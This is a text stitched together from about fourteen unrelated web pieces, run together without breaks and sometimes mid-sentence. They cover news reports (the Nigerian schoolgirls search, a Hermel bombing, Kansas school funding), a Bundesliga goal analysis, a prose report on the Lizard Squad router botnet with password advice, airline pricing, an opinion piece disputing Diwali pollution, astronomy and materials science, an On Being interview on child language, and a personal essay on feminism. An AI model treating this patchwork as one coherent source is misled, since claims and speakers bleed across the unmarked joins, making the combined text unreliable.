The US and Britain also have teams on the ground to help with the search for the schoolgirls.
The US State Department said Washington had sent in military, law enforcement and development experts.
Britain's minister for Africa, Mark Simmonds, will travel to the Nigerian capital this week for talks on further assistance, the foreign office in London said.
Topics: terrorism, unrest-conflict-and-war, religion-and-beliefs, defence-and-national-security, australia, nigeria
First postedRegardless of how a game might look over the course of its first 73 minutes, if the scoreboard still reads 0:0 at that point, it’s an even match by the only measure that counts.
The 1. FC Köln defense was tested repeatedly by VfB Stuttgart’s new attacking-style play for much of the time when the game remained scoreless. But the visitors remained steadfast in turning their hosts away and taking their opportunities when they came.
And it was after another Stuttgart effort ended in the gloves of Timo Horn that the effzeh put the game on its head.
Let’s unwrap the gift delivered by Kevin Vogt, Leonardo Bittencourt, Anthony Modeste, a collection of ball-watching defenders, and a keeper just a fraction of a moment too late.
Timo Horn had looked to restart play quickly after snatching a fairly non-threatening ball out of the air, but didn’t like any of the options available to him, so he booted it into the middle of the field. Timo Baumgartl got enough of the ball to return it back toward the center line, but his header travelled more vertically than horizontally.
You can see from where everyone is looking that the effzeh have the ground space below the ball’s path fairly well surrounded, while Stuttgart has just the two guys in position to attack.
I note the position of Kevin “Robo” Vogt, because...
Vogt flies into the middle of the action to take to the sky and win the moment with Christian Gentner unable to resist the power and glory of a Robo-Vogt attack. Vogt’s header sends the ball back in the other direction.
Anthony “Big Mo'” Modeste on the far right is ready to bolt goal-wards, just in case Vogt’s momentum is enough for him to get his header over the Stuttgart back four. Yuya Osako is turning to do likewise, while Leonardo Bittencourt holds his spot as an closer outlet.
Lukas Rupp and Florian Klein were already in fairly decent position to deal with Bittencourt, should the ball get to him, which it did. Bittencourt chests the ball down and has little option but to scramble to even just try to keep the ball.
As Bittencourt navigates away from Klein, Gentner closes down to help Rupp attempt to take the ball off the effzeh winger, which proves to be less simple than it would have appeared.
Meanwhile, Osako and Modeste have reset and settled into onside positions, which end up being fairly easy to maintain anonymously as not one of the Stuttgart defenders can be bothered to keep tabs on the strikers, instead focusing intently on the double-teamed guy with the ball.
I suppose it can be said that Vogt and Simon Zoller are also just standing and watching, but they have less-urgent responsibilities in this particular frame.
And, somehow, Bittencourt has Houdini-s his way out of that double-team and bursts into space.
Leo shows that, in addition to the technical skill to dance out of tight spots, he possesses fairly decent field-vision and a deft touch. He spots Modeste making his break and plays the ball through accordingly.
Emiliano Insua, who we had just seen be completely oblivious to the whereabouts of Big Mo’, has the gall to throw his hand in the air to indicate to the referee assistant that Modeste should be flagged as having been offside.
Either that, or he’s letting his coach know that he’s aware that he is among the people now guilty of having blown his marking duties.
Someday, the Bundesliga will hook me up with a budget, with which I’ll hire a professional photographer to make sure I’m not stuck with blurry screen caps when trying to tell a story.
For now... blurry screen cap... which almost shows that Big Mo’ got his boot on the ball before Przemysław Tytoń’s fingertips could quite get there. I guess you have to take my word on it, if you didn’t see it.
After Tyton got not even a fingertip on the ball, he made a whole lot of contact with Modeste’s lower body, even reaching up to grab at the attacker’s knee, maybe just in case the ball didn’t get past the goal line and Modeste somehow managed to keep his feet.
I suppose you have to play innocent, if just for the odd chance that the one person being paid to see such things didn’t happen to see what the rest of the tens-of-thousands in the building saw fairly clearly.
You DID touch him, and fairly thoroughly.
See?
From there, it’s a fairly straightforward case of converting the penalty, taking the lead, unknotting the string on the waist of your shorts where you’ve tied a baby pacifier, celebrate your first goal with your new club with the pacifier in your mouth, and get back to business.
The business of victory... come on EFFZEH!As they say the only good Kenny is a Dead Kenny (or maybe they don’t). The punching bag of the fantastic four South Park crew Kenny will be available next week in a special “Dead Kenny” edition. He is the first South Park 4th grader of the collaboration between South Park and Kidrobot. As fans of South Park know, Kenny spent a good part of the first few seasons of the show dying in every episode. From decapitations to being hit by moving vehicles, it seems Kenny just can’t catch a break. Although his mysterious power of immortality keeps him coming back from the dead, it doesn’t keep him from being beaten, battered and bruised. Dead Kenny is molded to look as mauled as he ever did in the show. Even with a black eye, exposed brains, and a detachable arm, he can still keep one eye open and hope that the next day will still leave him with enough limbs to die another day. Dead Kenny will be available on the week of July 17th for $10.99.The miscreants taking credit for knocking image board site 8chan offline, and earlier for taking down Sony's and Microsoft's gaming networks, operates an attack platform powered mostly by thousands of hacked home Internet routers, according to a published report.
The revelation, in an article posted Friday by KrebsOnSecurity, is the latest evidence documenting a big uptick in the hacking of Internet routers. Over the past 18 months, researchers have uncovered several other large-scale attacks on routing devices, including those made by Asus Linksys, and many other manufacturers. Routers are often ripe targets because users fail to change default passwords, and the devices often contain security vulnerabilities that can easily be exploited by attackers halfway around the globe.
Those compromising routers for financial gain appear to be members of the Lizard Squad, a group that operates an online attack service that promises to take down any site a paying customer has requested. KrebsOnSecurity namesake Brian Krebs cited security researchers assisting law enforcement officials investigating the group. The researchers asked to remain anonymous. According to Krebs, the for-hire denial-of-service service is powered by a network of compromised devices that mostly include home routers from around the world that are protected by little more than default usernames and passwords. Krebs wrote:
The botnet is not made entirely of home routers; some of the infected hosts appear to be commercial routers at universities and companies, and there are undoubtedly other devices involved. The preponderance of routers represented in the botnet probably has to do with the way that the botnet spreads and scans for new potential hosts. But there is no reason the malware couldn’t spread to a wide range of devices powered by the Linux operating system, including desktop servers and Internet-connected cameras.
Once considered a novelty hack, router compromises are moving into the mainstream—and for good reason. It's much harder to compromise Windows-based computers now than it was five or 10 years ago. For DDoS campaigns and some other online criminal ventures, router hacks work just as well and are much easier to carry out on a mass scale. Readers are reminded to take a few minutes periodically to review the settings of routers and other Internet-connected devices. In addition to replacing default credentials with strong passwords, users should disable remote administrative capabilities unless they are truly needed. It's also a good idea to review the firmware version powering routers and check to see if there's a security update available.Are you overpaying for airfare? Costly new pricing rules and how to avoid them Copyright by KHON - All rights reserved FILE - In this July 25, 2013 file photo, a United Airlines plane, top left, takes off from Newark Liberty International Airport, in Newark, N.J. (AP Photo/Julio Cortez) [ + - ] Video
SCOTT MAYEROWITZ, AP Airlines Writer, and KHON2 Web Staff - The three largest U.S. airlines have changed the way they price multi-city trips, forcing those who book such itineraries to pay hundreds of extra dollars in airfare.
Most fliers buy simple roundtrip tickets and won't be affected. But travelers visiting several cities on one trip, especially those flying for business, are seeing airfares six or seven times the normal price. Many might not know of the new policy or that there is a way to avoid the higher fares.
Mike Brown, a reservations supervisor at Panda Travel, showed us how much we can save.
He priced out a trip from Miami to San Francisco with a stopover in Chicago, and then San Francisco back to Miami. All that on one ticket would cost you $1,127.
But if you booked those legs separately, you could get all those flights for only $559, or "half the price of putting it all on one ticket," he explained.
The change came about because American Airlines, Delta Air Lines and United Airlines are starting to match low-cost carriers like Spirit Airlines on more routes. Some savvy fliers figured out that booking a multi-city ticket instead of one connecting ticket could save them money.
To halt that practice, American, Delta and United stopped allowing individual nonrefundable tickets to be combined. Their websites now only offer fully refundable tickets when combining one-way legs, which are often several times more expensive than the non-refundable tickets most people buy.
"They don't want to give away the store for people booking the more long-haul stuff, so they've instigated rules where certain fares are not combinable with each other, so to get around it, you just need to book each component separately," Brown explained. "They don't necessarily want us to know this is going on."
The simultaneous adoption of new pricing rules by all three carriers has led the Business Travel Coalition to accuse the airlines of illegally coordinating on this "complicated and comprehensive scheme." The advocacy group asked the Department of Justice to add this to its ongoing investigation of possible airline collusion. The group's chairman, Kevin Mitchell, said "fliers will no doubt be blindsided by this new policy and pay dearly when shopping at airline websites."
American spokesman Joshua Freed said the change was made in mid-March to stop fliers from paying fares lower than the airline had intended for certain markets.
However, the new booking rule was "broader in some cases than we wanted it to be" and the airline has since "made some changes because of customer feedback and are watching it closely."
United offered a similar explanation and Delta refused to comment.
Brett Snyder, who runs an air travel assistance company called Cranky Concierge, put it differently: "They haven't found a way to solve it eloquently so they solved it with a sledgehammer."
"They're making you overpay," Snyder added. "Airlines for years have made it clear that when you book a roundtrip it would be cheaper or the same price as a one way. Now they are flipping that, penalizing you and not even telling you."
Sometimes the differences can be extreme. Take a mid-May trip from Orlando to Detroit, then two days later to New York followed with a flight two days later back to Orlando.
Priced as three separate one-way flights, Delta Air Lines wanted a total of $282.30 for the itinerary. But try to book it as one ticket - as most travelers do - and Delta was charging $2,174.70 for the exact same flights.
The airline's website automatically offered the more-expensive fully refundable tickets and no other option.
A similar search on American Airlines for a trip from Miami to Chicago to San Francisco and back to Miami yielded similar results. Booked at three one-way trips, American was charging a total of $664.30. But if booked on one ticket, American wanted $1,064.70.
United Airlines was also charging extra for trip from New York to Fort Lauderdale, Florida, to Chicago and back to New York. Bought as one ticket, it cost $507.70, compared to a total of $308.30 if purchased as three separate tickets.
And if travelers need to modify their trips, they are going to pay even more.
If booked as a traditional multi-city trip, there would be a $200 change fee. But if fliers choose to book three one-way segments instead, that change fee could skyrocket to $600.
The complication does not apply to inter-island travelers.
"A perfect example for Hawaii is Hawaiian Airlines, Island Air, Mokulele, they're all the same. All of their fares generally speaking inter-island are one-way-based, so you don't have to worry about this. They're all combinable with each other, and it all works out," Brown noted.It is that time of the year when all Hindus are shamed for celebrating one of their most important festivals – Diwali. Apart from lights, the festival is celebrated with fireworks. The common point of accusation against the Hindus is that the festival causes pollution, and serious harm to health of kids and adults alike. Plus we are also reminded of animals getting disturbed by loud noises and being hazardous to birds.
While smoke is an issue on Diwali day, let us take stock of the facts about pollution – and Diwali’s contribution to it. There are few threads in this problem:
The overall pollution levels and the source thereof
The persistence of firecracker pollution
The economics of fireworks in the recent years.
A Greenpeace report claims that all around the year, the Indian metropolis are uninhabitable with respect to air quality. Particularly Delhi, has the distinction of being the most polluted city in the world. Average year round air pollutant levels in Delhi were more than 5 times the safe levels as specified by India and were 10 times higher of that as specified by WHO.
The report identified construction and vehicular traffic to be the two largest contributors of pollution. The third largest contributor was practice of burning paddy husk in nearby states. While such a detailed analysis has not been done for other cities, anecdotal evidence suggests that construction dust may be the biggest culprit, when it comes to air pollution.
Besides construction dust and vehicular pollution, bad infrastructure (as in bad roads) creates suspended particular matter that are effective respiratory pollutants. This is particularly true of metros where civil amenities are more of a wish than a reality. From the above points, it is clear that majority of the pollution in our cities is a persistent year round issue and is not singularly caused during Diwali.
There was a research paper published by IIT-Kanpur in 2016, which studies the issue of pollution and its causes in great detail; in and around the National Capital Region. One particular figure in this report is educative. The figure has been reproduced below:
The time series graph shows the pollution levels in Delhi during the month of November (year) 2013. The first data point is Diwali day – and one does see that the pollutant levels were much higher than the mean [red and blue dotted lines]. What is interesting however, are the pollution level spikes on the 5th of November, on the 9th and 11th, and on 21 through 23rd. In fact, the pollution levels on the 23rd of November are far higher than on Diwali day. One may argue that the Diwali pollution persists for three weeks, but the data falsifies such a hypothesis. In fact, we find that the pollutant level on Diwali day falls well below the mean levels by the next day. Furthermore, the median pollutant levels across the month also seem to be well below mean levels. These two data together suggests that the pollution caused by Diwali is extremely short-lived (less than 24 hrs), and is no worse than the usual sporadic spikes of pollutants that are observed in Delhi. Another aspect of Diwali that gets condemned is the noise pollution. While firecrackers used to be noisy (upto 140 dB) in the past, continuous revisions in acceptable noise levels have brought down the overall noise levels to less than 100 dB – and that was the maximum noise by a firecracker. In fact, the overall noise levels across several cities were measured to be between 60 dB and 90 dB (far lesser than the 100 dB of the noisiest cracker). Compare this with a typical noise level in a city junction: honking creates noise in excess of 100 dB. A look at the differential noise between a normal day and Diwali noises shows that in many places, the differences are marginal. In fact, in some cities, the differences are so marginal that one may consider it to be well within expected variation. This figure is from a Central Pollution Control Board study on pollution during Diwali across India (2014). Sadly, this report doesn’t provide confidence intervals for the noise levels; nor does it provide any P-values for the differences in noise between normal and Diwali day. What is clear, is that Diwali is likely to be as noisy as any normal working day in Indian cities: A statistical test for Bangalore for Normal and Diwali days (screen shot below) shows that the mean difference in noise between a normal and festival day in the city is barely 2 dB. In other words, the difference is negligible. Diwali doesn’t create any extra-ordinary noise pollution than an normal day
Last but not least, we come to the question of economics. Several reports such as this one point out that fire cracker sales have been falling drastically, on an annual basis. This particular report cites a 20% reduction YoY in sales for five consecutive years. Such drastic reduction in fire cracker sales would mean at least a halving of total sales (taking a base line of 100 INR, -20% CAGR for 5 years leaves us with 32 INR – or a 68% reduction). In one particular year, 2015-2016, the fall was 25%. Yet, some newspaper reports claimed a 40% increase in pollution on Diwali due to firecrackers. This doesn’t compute: how can one cut down firecracker purchase by almost 70%, and still end up with 40% increased smoke? Does it mean that firecrackers are creating 3 times as much smoke as before? While it is “possible”, it is not probable. And the jury will be out on this one until specific studies are done. On the other hand, given the first graph we saw – one could argue that majority of the pollution is due to other causes, and Diwali smoke only marginally adds to it. This seems to be the more likely scenario – at least for Delhi. In summary, pollution increase during Diwali – of both the air, and noise, is likely marginal, and more importantly, extremely temporary in nature. Vilification of both the festival and those who celebrate it on environmental grounds, seems like vested hatred than anything else. Editor’s note: This article was originally published on Author’s blog “Rumbles of a Lonely Mammoth” and has been re-published here with due permissions.A letter published in Nature today announces the first observations of developing black holes in the early Universe. The discovery answers a long-standing question in astronomy: how early on were black holes forming, and what were the earliest ones like? The observations required a clever technique which stretched the capabilities of modern instruments.
We have now imaged many galaxies from early on in the history of the Universe—the first billion years or so after the Big Bang—but evidence for black holes from this time has remained elusive.
Astronomers can spot galaxies from this early period using a phenomenon known as "red shift." As space stretches with the expansion of the Universe, electromagnetic radiation traveling through space is stretched as well. This increases the wavelength, so light that was originally blue will shift toward the red end of the spectrum. By looking at key markers in the spectrum, such as those associated with the element hydrogen, scientists can calculate how much red shift has occurred, and thus, how long the light must have traveled.
Although there's evidence that a black hole exists at the center of every galaxy, their tell-tale signatures have not been detected in these early galaxies. There were two possible explanations for this: one was that the signature was too weak to be detected by current instruments due to complicating factors like its absorption by galactic gas. The other was that these "run-of-the-mill" black holes did not arise until later in cosmic history.
Quasars form at very large black holes, and are the most luminous objects in the Universe. They have been found in a number of these early galaxies because they are easy to detect, but have never been observed in the process of growing, leaving some to wonder if they differed from the smaller black holes we see later on. The new observations essentially eliminate the possibility that early black holes were fundamentally different.
To obtain the observations, the team had to find a way to pick out the extremely faint X-ray signals that would indicate the presence of black holes. Using NASA’s Chandra X-ray Observatory and Hubble Space Telescope, they zeroed in on the locations of galaxies with large red shifts, meaning they were looking at the early Universe.
Taken one galaxy at a time, the signal would be practically impossible to pick out from the background noise, but the researchers "stacked" a couple hundred such galaxies. By doing so, they were able to detect a significant signal from those galaxies, even though they may have picked up as few as 5 X-ray photons from any one of them. Even at these low numbers, the X-rays they see indicate that there are, in fact, black holes in the earliest galaxies.
From the relative abundance of short and long wavelengths of X-ray radiation, they also determined that those black holes are obscured by large amounts of gas and dust (a sign of rapid growth). That helps explain why they were so difficult to detect, but it also has other implications. Astronomers think that stars first began to burn around 400 million years after the Big Bang, emitting ultraviolet radiation that reionized (stripping the electrons from) some of the Universe's hydrogen. That was the start of an important cosmological era known as the Epoch of Reionization
The gas and dust present around the observed black holes, however, would have prevented the escape of any ultraviolet radiation that could have contributed to reionization, meaning that black holes had little to do with it. Conversely, that means that information about the Epoch of Reionization cannot be used to constrain the history of black holes, which the researchers claim will mean that several current hypotheses need to be revised.
These new observations can’t say anything definitive about the origins of the earliest black holes, but they support the idea that black holes and galaxies have coevolved, starting very early on in cosmic history. That may help researchers determine whether the first black holes formed from the collapse of discs of gas and dust or from the collapse of early stars, a lower-mass scenario. Regardless, our picture of what the Universe was like nearly 13 billion years in the past just got a little clearer.
Nature, 2011. DOI: 10.1038/nature10103 (About DOIs).
Listing image by Photo by NASA, ESA, and The Hubble Heritage Team (STScI/AURA)Atlas Obscura on Slate is a new travel blog. Like us on Facebook, Tumblr, or follow us on Twitter @atlasobscura.
Brothers Aw Boon Haw and Aw Boon Par gained fame and fortune in the early 20th century selling their self-made Tiger Balm, but their legacy goes beyond ointment. In 1937, with the aim of instilling traditional Chinese values, the siblings built Haw Par Villa, a Singapore park with 1000 statues and 150 dioramas depicting surreal scenes from Chinese mythology, aspects of Confucianism, and terrifying visions of Buddhist hell.
The Confucian virtue of filial piety finds its expression in a statue of a woman breastfeeding her starving, toothless mother-in-law. The giant blue crab with a woman's smiling head plopped on top is of murkier mythological origin, as is a domestic scene showing a clothed, bipedal reindeer and tortoise sitting at a table drinking tea.
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The garden's most memorable attraction is its Ten Courts of Hell section, which provides a vivid look at the punishments awaiting wicked souls in the layers of the underworld. Decapitations, disemboweling, and drownings in "Filthy Blood Pond" are all on show.
Unconventional theme parks:Currently, most parts of a smart phone are made of silicon and other compounds, which are expensive and break easily, but with almost 1.5 billion smart phones purchased worldwide last year, manufacturers are on the lookout for something more durable and less costly.
Dr Elton Santos from Queen's University's School of Mathematics and Physics, has been working with a team of top-notch scientists from Stanford University, University of California, California State University and the National Institute for Materials Science in Japan, to create new dynamic hybrid devices that are able to conduct electricity at unprecedented speeds and are light, durable and easy to manufacture in large scale semiconductor plants.
The team found that by combining semiconducting molecules C60 with layered materials, such as graphene and hBN, they could produce a unique material technology, which could revolutionise the concept of smart devices.
The winning combination works because hBN provides stability, electronic compatibility and isolation charge to graphene while C60 can transform sunlight into electricity. Any smart device made from this combination would benefit from the mix of unique features, which do not exist in materials naturally. This process, which is called van der Waals solids, allows compounds to be brought together and assembled in a pre-defined way.
Dr Elton Santos explains: "Our findings show that this new'miracle material' has similar physical properties to Silicon but it has improved chemical stability, lightness and flexibility, which could potentially be used in smart devices and would be much less likely to break.
"The material also could mean that devices use less energy than before because of the device architecture so could have improved battery life and less electric shocks."
He added: "By bringing together scientists from across the globe with expertise in chemistry, physics and materials science we were able to work together and use
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and we love plants. And this is reflected in what we are doing with children. In our field now, we’ve become very high-tech. We have data banks that have transcripts, so I can say, look at all the combinations of words where parents say, “Look at the — ” and pull that out. Pull out every sentence like that, and let’s see what parents tell their children to look at.
So we did that recently, and we pulled out over 2,000 utterances from 61 different people. Of the top 30 words — I believe this is correct — that parents are calling kids’ attention to, 12 are animals. Animals are really right up there. We’re really — in fact, the example I gave, because I gave a little talk about this at the World Science Festival. I believe that is what it was called. Anomia hits. It was at the World Science Festival. I showed a picture of that wonderful horse from the caves at Lascaux, and I said, here’s a picture that was drawn 17,500 years ago. It’s pretty clear that an interest in animals has been with us for a long time. Somebody expended a huge amount of time drawing that beautiful horse on that cave wall. So this interest in animals is with us and is — I think I said, at the World Science Festival, “When you take your child for a walk, you say look at the birdie, not look at the traffic cones.”
MS. TIPPETT: That’s true.
DR. GLEASON: OK. You don’t — it’s extremely rare for parents to say look at the rock. And I will bet you that our ancient ancestor, when she finished this painting on the wall at Lascaux, 17,500 years ago, turned to her little cave kid and said, “Look at the horsey.”
[sound bite of Chris and Delilah talking about animals]
[music: “Harmonium” by Max Richter]
MS. TIPPETT: So, how is the new science of the brain changing your field? I don’t know how involved you are with that, but what can be studied, and how it can be studied and …
DR. GLEASON: Oh, it’s incredible. What can be studied is — I don’t do that. There are wonderful people who do. There are a number of people out on the West Coast, people in Vancouver, who are doing absolutely wonderful things in looking at — what’s very exciting is that they are beginning to pattern activation in the brain. And now they can do it non-invasively on tiny children. So you can tell where things are happening in the brain. You can tell either by measuring blood flow or by measuring changes in oxygen, but these are all external, and you don’t have to — people have been using functional MRI for some time, but the problem with functional MRI, if anybody has ever been in one of those machines, it’s like having — it’s horrible.
MS. TIPPETT: And you couldn’t put a three year old in there very long.
DR. GLEASON: Exactly. No, you’d have to sedate them or something. You have to — they have to be unconscious. But now they have these little caps they can put on where they are able to measure these changes either in magnetic activity or in blood flow or in oxygen, something of that sort. And they are able to tell where things are happening in the brain.
MS. TIPPETT: So is there any thing that this is making apparent that’s really changing the equation? Or how is it weighing in to these poles that we talked about, this discussion, nativist or how interactively we learn language, and what that means?
DR. GLEASON: Well, it is showing that some of the things we talked about earlier in this conversation have actual physiological correlates. So when I said that you can — that babies who are hearing two languages in utero are born with a bilingual brain, they actually have brain testing that shows that they have activation for both languages, et cetera.
MS. TIPPETT: So are the languages in different places? How does …
DR. GLEASON: Oh, I wouldn’t want to get into that. I don’t know and that’s not my field. But all I’m saying is that they are able to show that there is brain activation for both languages so that their brain — by the time they are born their brain is not the same as a monolingual kid’s brain. You’re building a bilingual brain.
MS. TIPPETT: That’s really interesting.
DR. GLEASON: The other thing is that with this complex technology, they are, indeed, able to show, as we said earlier, that earlier and earlier in a child’s life, that they are able to make distinctions, and they are hearing what’s going on, and their brain is really doing it. But look, that’s neurology, I mean, it is psychoneurology, or it is linguistic neuropsychology, you give it a name, whatever you like. That will go on, but that doesn’t mean that people are going to stop looking at mothers talking to their children.
We need every kind of research. What science has to look for is what is called “convergent validity.” And that is many different kinds of research will ultimately come in on what is the truth as we know it, or as best we can know it for our era. And there might be things that we don’t know about right now. There may be things that we just don’t know about, or haven’t thought about, or given and paid any attention to. So the brain science is wonderful, but isn’t where every developmental psychologist is going to go, and it is not doing away with basic research in human interaction.
[music: “Toritos” by Gaby Kerpel]
I’m Krista Tippett, and this is On Being. Today, with a legend and pioneer of linguistics, Jean Berko Gleason.
MS. TIPPETT: So linguistics was more philosophical in its earlier generations and became more of science, especially in your lifetime. I wonder, though, if, here at the 21st century, for whatever reason — it seems to me that in a lot of scientific fields, there are new philosophical questions emerging from the advanced science. You and I have touched on that a little bit. There are new, more sophisticated questions being asked about what intelligence is, and what makes us human, and how we learn.
DR. GLEASON: True, and you can ask those questions from all sides. Just let me back up for a moment, though, about linguistics, because linguistics has always had several threads. And one of them is philosophical. And, for instance, I would say that the nativist linguists stem from a very philosophical tradition, where you can think about language, for instance, you don’t even need a lot of data, because you assume that everybody is exactly the same, so that if you think hard enough you’ll understand how things happen, but they come from a very philosophical tradition.
A lot of other linguistics stems — that is, modern linguistics — let’s just talk about the 20th century. There were great linguists before that, and we could get back to Sanskrit, because the people who wrote Sanskrit down were terrific linguists. But in the 20th century, the people who did descriptive language — linguistics — who sat down and said, here’s how the plural works, and here’s how the past tense works, and here’s what sentences look like, often had very pragmatic reasons and religious reasons for doing this. Linguistics has a huge religious history.
MS. TIPPETT: Well, say some more about that. What …
DR. GLEASON: All right. I will. My brother-in-law, Henry Allan Gleason, Jr., was a linguist. He wrote a book called An Introduction to Descriptive Linguistics. It is the book that I read and used as a textbook as a student of linguistics. It’s what I — when I made the Wug Test, it was his descriptions of how language works that I relied on, not something that came out of the more philosophical group. Now, the religious linguists were missionaries and one of their purposes — and they still exist — if you look up the group the Summer Institute of Linguistics, there are still people out there whose aim in life is to go to distant parts of the world, find languages that have not been written down, find people who speak those languages, sit down, figure out how the language works, get it written down, give the people a writing system so that they can give them the Bible.
That is a major — linguistic missionaries were a major force in 20th-century American linguistics. So if you look up names like, well like Henry Allan Gleason or Kenneth Pike, a number of them were missionaries. Religious people who had — you go to India where you say, well, there are a thousand languages and an awful lot of them have not been written down. Let’s get to work. Let’s bring the Bible to the world.
MS. TIPPETT: I want to come back to something that you wrote. This was a review of a book that you wrote in 2003, and the title, I think, is evocative — “Language Acquisition: Is it Like Learning to Walk, or Learning to Dance?” In that article, you wrote, “Possibly, we are asking the wrong questions. For instance, when we look to innateness, why do we not consider what might be innate in us as nurturing adults?”
DR. GLEASON: Yes, that is correct. And that’s exactly what I was talking about with the animals, is that we — it’s not just children who carry possibly innate things. We come with a long history of being attached to other living creatures. So to assume that children would just be picking up “birdie” and “doggy” because that’s the way they are misses the point that we are that way too. And that we are bringing “doggies” and “birdies” to them and talking about them. So that’s what I mean is that it’s — language acquisition is a joint activity. And if there are innate components, there are innate components in adults as well as in children. And some of them are our attention to the world, and some of them are our love of other people.
We are innately predisposed to pay attention to little children and to talk to them. So let’s not just assume that we are scientists sitting around watching babies unfold. We’re unfolding with them. It’s a cooperative event. That’s, I think, what I was saying, and that’s part of what I meant when I wrote, think about what might be innate in all of us, not just the babies.
MS. TIPPETT: How do you think you would ponder the question, or your sense of the question of what it means to be human? How do you think that’s different because — or informed by this life you’ve led, studying language? What it means to be human?
DR. GLEASON: Well, I think, ultimately, since we keep discovering, as we’ve said through this past hour or so, that other creatures have many of the characteristics that we previously thought were only ours, and we find this increasingly — I think that what is most human about us — being human isn’t being kind, because — remember the child that fell in the gorilla moat, and the gorilla picked it up tenderly and rescued it? Gorillas are kind. It isn’t a lot of things. It isn’t having technology, because chimpanzees make sticks to catch their termites, or whatever. They don’t go to the moon with them, but I think that, for me, probably the biggest distinction — if we need to make a distinction, and by the way, I don’t think we need to make any — I don’t think that humans are not animals. We are animals. We are very complex animals, and we’re very smart and very destructive. We have some good and bad qualities. But I guess for me, the most important difference I see is self-consciousness, is consciousness of ourselves, the ability to reflect on ourselves and to comment on that.
[music: “Remember Me As A Time of Day” by Explosions in the Sky]
MS. TIPPETT: Jean Berko Gleason is Professor Emerita of psychology at Boston University.
[sound bite of Chris and Lucy talking about “young” and “old”]
MS. TIPPETT: While we were producing this show, a few of us experimented with recording our kids — the then two-and-a-half-year-old Delilah, five-year-old Lucy, and 13-year-old Sebastian. We had varying results:
[sound bite of Sebastian Tippett]
[music: “Outlier” by John Morton]
MS. TIPPETT: But we persevered. We listened for that amazing human capacity, as Jean Berko Gleason so evocatively put it, to be conscious and to comment on that.
[sound bite of Sebastian Tippett]
MS. TIPPETT: So maybe you’d like to try this with the children or grandchildren in your life. We’ve created a “Raising Children” collection at onbeing.org. On our site, we’ve also posted a link to Deb Roy’s TED talk, “The Birth of a Word.” We leave you today with another snippet from that.
[sound bite of Deb Roy TED lecture]
[music: “Glitch Perfect” by Andy McNeill]
MS. TIPPETT: On Being is Trent Gilliss, Chris Heagle, Lily Percy, Mariah Helgeson, Maia Tarrell, Annie Parsons, Marie Sambilay, Tess Montgomery, Aseel Zahran, Bethanie Kloecker, and Selena Carlson.
Special thanks this week to Deb Roy, the staff at TED, and to Delilah and Lucy and Sebastian.
Our major funding partners are:
The Ford Foundation, working with visionaries on the frontlines of social change worldwide at fordfoundation.org.
The Fetzer Institute, fostering awareness of the power of love and forgiveness to transform our world. Find them at fetzer.org.
Kalliopeia Foundation, contributing to organizations that weave reverence, reciprocity, and resilience into the fabric of modern life.
The Henry Luce Foundation, in support of Public Theology Reimagined.
And, the Osprey Foundation, a catalyst for empowered, healthy, and fulfilled lives.A suspected suicide car bombing killed five people and wounded 42 others in a bustling neighborhood in the northeastern town of Hermel Thursday, a security source told The Daily Star.
The blast occurred during the morning rush hour near the town's government building as people made their way to work in a residential and commercial neighborhood in Hermel, a town near the northern border with Syria and where Hezbollah enjoys broad support.
Nusra Front in Lebanon claimed responsibility for what it said was a suicide car bombing in Hermel, saying the attack was in retaliation to Hezbollah's involvement in Syria.
The security source said the remains of a man were pulled out from the car used in the 9 a.m. explosion, suggesting the attack was likely the work of a suicide bomber.
...Copyright by KSNW - All rights reserved
TOPEKA, Kan. (AP) — School districts suing Kansas over education funding argue that an increase approved by legislators this year is as much as $1.5 billion short of what's needed for the next school year.
They're also asking the state Supreme Court to order lawmakers to provide more money by Sept. 1.
The four local districts' attorneys detailed their objections to a new school finance law in written arguments filed ahead of a Supreme Court hearing July 18.
The new law phases in a $293 million increase in aid to public schools over two years. It also creates a new per-pupil funding formula.
Attorney General Derek Schmidt's office contends the increase is sufficient for legislators to fulfill their duty under the state constitution to finance a suitable education for every child.iVEC computer support officer Khanh Ly takes stock of the new equipment. Credit: iVEC
Supercomputing group iVEC has installed the second machine in its $80 million, Government-funded Pawsey Centre project.
The hybrid-GPU cluster, dubbed Fornax, was delivered to the University of Western Australia’s (UWA) Physics building on Monday morning and installed during the week.
IVEC, which comprises UWA, CSIRO, Murdoch University, Curtin University and the Edith Cowan University, expects the $4 million machine to be ready for use in March.
Fornax is ‘Stage 1B’ of the Pawsey Centre project, which delivered a $5 million, 87.2-TeraFLOP computer called Epic@Murdoch in ‘Stage 1A’ last June.
Epic is an HP Linux cluster, comprising 1600 six-core Intel Xeon CPUs and 500 terabytes of storage in an HP POD.
Fornax was procured from SGI and comprises 96 nodes, each containing two six-core Intel Xeon CPUs, an Nvidia Tesla GPU, 48 GB RAM and seven terabytes of local disk space.
Fornax nodes are connected to each other and to a 500-terabyte global file system through two separate InfiniBand networks.
IVEC stated last year that Fornax’s combination of GPUs and fast local disk would be particularly well-suited to data-intensive computations in radioastronomy and the geosciences.
The three-stage Pawsey Centre project was intended to support the Australian SKA Pathfinder radio telescope, Australia’s precursor to the international, 1.5-billion-Euro Square Kilometre Array project.
For the final stage – Stage 2 – of project, iVEC has called for applications from the industry to supply and install a petascale supercomputer in a custom-built facility in Kensington, Western Australia.
The request for proposals closed yesterday. iVEC expects to sign a final contract in April this year and deliver the full petascale machine in April 2014.I’m a big proponent of anything pink. I still want to be a Disney princess, and I love watching reality TV and reading fashion magazines. I’m in a relationship with a great guy, and I want to get married and have children someday. Does that make me a bad feminist?
Honestly, I used to really think so. I used to be ashamed when I found it charming when men would hold the door open for me, or when my boyfriend paid for dates or picked up heavy things for me. Shouldn’t I feel empowered doing those things for myself, rather than enjoying traditional gender norms?
When I would think about my future, I felt guilty for wanting the stereotypical Disney prince, or wanting to take my husband’s last name and be a doting mother. While I want a career of my own and independence, but a part of me still craved domesticity. I felt like a bad feminist because I didn’t know how to change the oil in a car or fix plumbing issues in my apartment.
I took pride in my writing, in makeup and dresses and pretty things. I felt happiest reading fashion magazines, getting my nails done, gossiping with friends, and squealing at cute dogs. But I felt like I had failed as a woman in that regard, that I was setting womanhood back 50 years. Fitting the stereotype of liking romance novels over video games, shopping sprees instead of sports and baking over heavy duty work made me feel like a bad feminist.
After seeing some of my closest friends and celebrities who identify as feminists embracing their femininity, I began to feel a lot better about my own version of feminism. Women like Beyoncé, Emma Watson, Nicki Minaj, and Laverne Cox find power in their femininity and strength in their beauty. Those women love lipstick and heels but can still dismantle the patriarchy at the same time, and I felt so empowered by that.
I learned that just because my version of enjoyable things might be different than other women doesn’t make me less of a feminist. Shaming other women for what they like and what they do with their lives is what makes someone a bad feminist.
